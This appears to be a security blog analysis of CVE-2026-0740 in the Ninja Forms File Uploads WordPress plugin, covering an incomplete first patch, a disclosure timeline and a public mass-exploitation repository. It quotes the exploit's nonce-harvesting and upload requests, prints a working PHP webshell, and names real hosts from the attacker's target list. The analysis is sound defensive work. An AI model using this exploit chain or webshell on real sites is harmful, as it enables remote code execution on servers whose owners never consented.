Ninja Forms File Uploads 3.3.25 shipped on February 10, 2026 as a security fix for CVE-2026-0740. Ninja Forms File Uploads 3.3.27 shipped on March 19, 2026 as a security fix for CVE-2026-0740. The first one did not fix it. The second one did. The public PoC at github.com/murrez/CVE-2026-0740 went up in April after both patches and the CVE record had landed, with a target list of 1,894 hosts and a Turkish-language README. The CVE description calls the bug "missing file type validation in the NF_FU_AJAX_Controllers_Uploads::handle_upload function." The function validates file types. It validates the wrong file's type.
CVE-2026-0740: Ninja Forms Shipped the Patch on February 10. The Bug Shipped Until March 19.
patterns
cve
proof of concept
The handler is reachable without authentication, and the nonce check passes
Ninja Forms File Uploads is a Saturday Drive extension that adds a file-upload field type to Ninja Forms. The extension is installed on roughly fifty thousand WordPress sites and is meant to be public-facing: a contact form that lets visitors attach a resume, a support form that lets visitors attach a screenshot, anything where the form's submitter is an anonymous web visitor. The plugin registers two AJAX actions through WordPress's wp_ajax_nopriv_* hook prefix, the registration that makes an action callable without a session. The first, nf_fu_get_new_nonce, vends a fresh WordPress nonce on demand. The second, nf_fu_upload, accepts a multipart upload and writes the file to disk after verifying that nonce. murrez/CVE-2026-0740 is 130 lines of Python that walks both endpoints in sequence:
HEADERS = {'User-Agent': 'Mozilla/5.0'}
FORM_ID = "7"
FIELD_ID = "7"
SHELL_NAME = "murrez.php"
# Step 1: harvest a nonce from the nopriv nonce endpoint
nonce_payload = {
'action': 'nf_fu_get_new_nonce',
'field_id': FIELD_ID,
'form_id': FORM_ID,
}
r = requests.post(ajax_url, data=nonce_payload, ...)
# {"success":true,"data":{"nonce":"<value>"}}
# Step 2: upload, presenting the harvested nonce
files = {f"files-{FIELD_ID}": ("doc.pdf", SHELL_CONTENT, "application/pdf")}
data = {
'action': 'nf_fu_upload',
'nonce': nonce,
'form_id': FORM_ID,
'field_id': FIELD_ID,
'doc_pdf': SHELL_NAME, # "murrez.php"
}
r = requests.post(ajax_url, data=data, files=files, ...)WordPress's wp_create_nonce computes nonces against a user identity, and for an anonymous caller the identity is user ID 0. The nonce that the first endpoint vends for user 0 is the same nonce that the second endpoint's wp_verify_nonce will accept from the same anonymous caller. The check passes. The handler proceeds.
This is not the Nonce Is Not Auth shape we walked through three weeks ago in Pix for WooCommerce, even though the front-end mechanics are identical. That pattern's boundary specifically excludes the public-contact-form case: a handler deliberately scoped to anonymous visitors is anonymous-by-design, and the absent capability check is a design choice rather than a bug. Ninja Forms File Uploads is anonymous-by-design. The form is supposed to accept submissions from people who are not logged in. The bug does not live in the gate. It lives in what the gated code is willing to do with the request body once the gate has let it through.
The validation is not missing. It is checking the wrong filename.
The PoC's multipart payload sends one upload, in field files-7, with filename doc.pdf and content type application/pdf. The body of that file is the PHP webshell:
SHELL_CONTENT = '''<?php if(isset($_FILES['f'])){move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);echo "Uploaded: ".$_FILES['f']['name'];}?><form method="POST" enctype="multipart/form-data"><input type="file" name="f"><button>Upload</button></form>'''The source filename is doc.pdf. Its extension passes any allowlist of acceptable upload types that includes images, PDFs, and office documents and excludes php. The plugin's source-side check reads the source filename, sees pdf, and accepts the upload. The plugin then has to write the file to disk under some basename, and the basename it picks is not derived from the source filename. It is read from a separate POST parameter that the form's client-side code populates and the server-side handler trusts. In the PoC, that parameter is:
doc_pdf=murrez.phpThe handler reads this value and uses it as the destination basename. The attacker has split the request into two filenames: a benign source the plugin validates, and an attacker-chosen destination the plugin writes. move_uploaded_file copies the uploaded doc.pdf body to wp-content/uploads/ninja-forms/tmp/murrez.php, a path inside the WordPress installation, served by the PHP interpreter, with no .htaccess restriction on the tmp/ subdirectory. A GET to /wp-content/uploads/ninja-forms/tmp/murrez.php runs the body as PHP.
This is the Validated Source, Not Destination shape: two filenames in one request, validation concentrated on the artifact the developer designed the upload around, the operation using the artifact the attacker actually supplied. It composes with Unauth Write To Execution Path, three architectural decisions stacking: an unauthenticated trigger, a write directory that overlaps the execute path, and an upload contract that validated one filename while the operation used the other. The previous unauth-write exhibit on this blog was Breeze Cache, where the write trigger was a comment submission and the destination filename came from the avatar HTML's srcset attribute. Same shape. Different parameter.
The 3.3.25 patch, per Wordfence's analysis, added handling on the destination filename, but not enough of it. 3.3.26 still allowed the chain. 3.3.27 added three further defenses to the destination basename: basename() to strip path traversal segments, sanitize_file_name() to normalize, and pathinfo() plus an extension blacklist on the destination. Three checks, all on the destination side, all added in the version the vendor's audit had to revisit.
The CVE description, written and ratified after 3.3.27 was released, says "missing file type validation in the NF_FU_AJAX_Controllers_Uploads::handle_upload function." Read against the 3.3.27 codebase, that description is a description of what 3.3.27 added, not of what was wrong. File type validation was present in every vulnerable release. It ran on the source. The file the source check examined was the file the request was always going to pass: the attacker chose doc.pdf precisely because its extension would pass. The validation is not missing. It is checking the wrong filename.
The first patch shipped on February 10. The bug shipped until March 19.
The disclosure timeline:
| Date | Event |
|---|---|
| 2026-01-08 | Sélim Lanouar (whattheslime) reports the bug to Wordfence's bounty program |
| 2026-01-12 | Vendor acknowledges |
| 2026-02-10 | 3.3.25 ships, advertised in the changelog as a security fix for the upload handler |
| 2026-03-19 | 3.3.27 ships, the actual fix |
| 2026-04-06 | NVD publishes CVE-2026-0740, naming versions through 3.3.26 as affected |
| 2026-04-07 | Wordfence reports thousands of exploit attempts per day |
| 2026-04-16 | Wordfence reports 118,600 cumulative attempts blocked |
The window between February 10 and March 19 is 37 days. During those 37 days, every WordPress dashboard running an older Ninja Forms File Uploads release showed an available update to 3.3.25, marked as a security release. Sites that applied the update entered a state in which their changelog said "security fix," their version number said 3.3.25, their plugin source carried the patch comment, and their AJAX handler still wrote murrez.php when asked.
The CVE record names the affected version range as everything up to and including 3.3.26. That range explicitly includes 3.3.25, the version the vendor advertised as the security fix on the day they shipped it. CVE-2026-0740 is the CVE assigned to a bug that received its first patch on February 10 and was not actually patched until March 19.
The PoC at murrez/CVE-2026-0740 went public no earlier than April 6, after both patches had shipped. The version range it targets, per the CVE record, is 3.3.26 and below. That range includes the partial-patch version that had been deployed for over a month by the time the PoC dropped. Ops teams that responded to the February 10 advisory, applied 3.3.25 within their normal patch window, and moved on were running an installation in the PoC's targetable range. The vendor's first patch did not move them out.
A target list of 1,894 hosts is not a research artifact
The murrez repository is structured for operations, not for proof of concept. ninja.py is the runner. list.txt is the input file. shell.txt is the output, opened in append mode ('a') so successful hits accumulate across runs. The shell filename murrez.php is the author's handle, hard-coded as the default deployment artifact. The console banner reads:
NINJA FORMS MASS EXPLOITERThat string is not vestigial. Mass-exploiter is the role the script names for itself.
list.txt carries 1,894 entries. They are not the author's own hosts. They are a global mix of IP-only addresses and named domains, including educational institutions (taxschool.illinois.edu, nccuonline.nccu.edu), government domains (teamtsic.telangana.gov.in, cm-gondomar.pt, commune-menzel-chaker.gov.tn, ppc.gov.jm), and one entry that names the vendor directly: templates.ninjaforms.com. A target list of 1,894 hosts that includes the vendor's own subdomain alongside three governments and two universities is a pre-collected inventory, not a research environment. The collection happened before the PoC was published. The hosts were enumerated, vetted for vulnerable plugin versions, and ranked into a single file ready to feed an exploitation loop.
There is no disclaimer in the README. No "for educational use," no "authorized testing only" wrapper, no badges. The Turkish text is operational documentation: load the list, request a nonce per target, attempt upload, write successes to shell.txt. The repository is what its file structure says it is. The author's value proposition to themselves is that the artifact converts public knowledge of CVE-2026-0740 into a turnkey deployment against an existing list. The shell filename murrez.php is the operator's signature on each compromised host. They are not concerned about attribution because the artifact left on each site is a payload they intend to use, not a calling card they are trying to disclaim.
The architecture is identical in shape to tooling we covered for Pix for WooCommerce three weeks ago: harvest nonce, upload shell, log the URL, move on. The plugin is different, the parameter names are different, the form configuration is different. The runner script is the same script. CVE-2026-0740 is the next CVE in a list of plugin upload-handler bugs that the same population of operators converts into mass campaigns within days of public disclosure. The target list arrived first.
Two patches and a description that ratifies the first one
The CVE record is downstream of the patches. NVD names the function correctly: NF_FU_AJAX_Controllers_Uploads::handle_upload. NVD names the missing check incorrectly. File type validation was present in every vulnerable release. It ran on the source filename, where the attacker had no reason to deviate from doc.pdf. The check the attacker was bypassing was the absence of a check on the destination filename. That check did not exist before 3.3.27. The vendor wrote a partial version of it in 3.3.25 and the bug remained, then wrote the rest in 3.3.27 and the bug closed.
The CVE description was ratified after 3.3.27 had landed. The framing it carries is the framing the vendor had at the moment they shipped 3.3.25: missing file type validation. That framing was the vendor's understanding of the bug class on February 10. The vendor changed their understanding by March 19. The CVE description did not. The description is half right. File type validation was added in two waves. The wave that mattered was the second.
PoC: murrez/CVE-2026-0740
The patch comment was in 3.3.25. The patched code was in 3.3.27.